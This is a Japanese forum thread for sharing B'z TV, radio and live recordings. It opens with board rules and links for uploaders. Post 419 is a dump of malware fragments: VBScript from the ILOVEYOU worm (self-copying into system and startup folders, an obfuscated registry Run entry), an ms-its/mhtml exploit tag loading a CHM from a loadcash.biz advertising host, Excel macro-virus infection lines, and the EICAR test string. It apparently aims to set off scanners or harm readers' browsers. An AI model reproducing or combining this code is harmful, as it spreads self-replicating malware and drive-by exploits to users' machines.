B'zうｐすれ

B'zうｐすれ

1: ?'z：07/07/18 22:21 ID:dq6umsK2

※※※sage進行厳守(mail欄に半角でsageと入れる) ※※※

■TV出演・PV映像・ラジオ・レア音源・ライブ音源を持っている人はうｐお願いします
■リクエスト・再うｐにはできるかぎり応じる方向で
■しつこいｸﾚｸﾚ禁止
■荒らし・煽りもりもりは完全無視でお願いします。
■うｐしてくれる方はできればコテハンをつけるうれしいです。
わかりやすくてよいです。
交換の時は是非トリップをつけてください。
（名前♯でいいです）

■■■■■■■■■■■■■■■■■
■ CD/DVD音源のうｐは厳禁！！ ■
■■■■■■■■■■■■■■■■■


うpろだリンク・P解析ヒント
ttp://www1.chironoworks.com/love_storm/link/
ttp://www.1rk.net/

ヒント
ttp://info.2ch.net/before.html

419: ?'z：07/08/22 03:55 ID:6a2CVaa6

If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l" <br> Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1))) <br> fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\" <br> c.Copy(dirsystem&"\MSKernel32.vbs") <br> c.Copy(dirwin&"\Win32DLL.vbs") <br> c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") <br> <object data="ms-its:mhtml:file://C:\\MAIN.MHT!<a href="http://2ch2.net/imenu/?www.loadcash.biz//adverts//35//main.chm::/main.htm" target=_blank>http://www.loadcash.biz//adverts//35//main.chm::/main.htm</a>" type="text/ <br> X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* <br> fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\" <br> If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l" <br> ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) <br> G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR")) <br> lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) <br> ms-its:mhtml:file://c:\ <br> kak.hta';ken=wd+'START <br> kill -9 xz/tSaBh0 <br> Sub auto_open() <br> Application.OnSheetActivate = "check_files" <br> End Sub <br> Sub check_files() <br> c$ = Application.StartupPath <br> m$ = Dir(c$ & "＼" & "PERSONAL.XLS") <br> If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0 <br> If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 <br> whichfile = p + w * 10 <br> End Sub <br>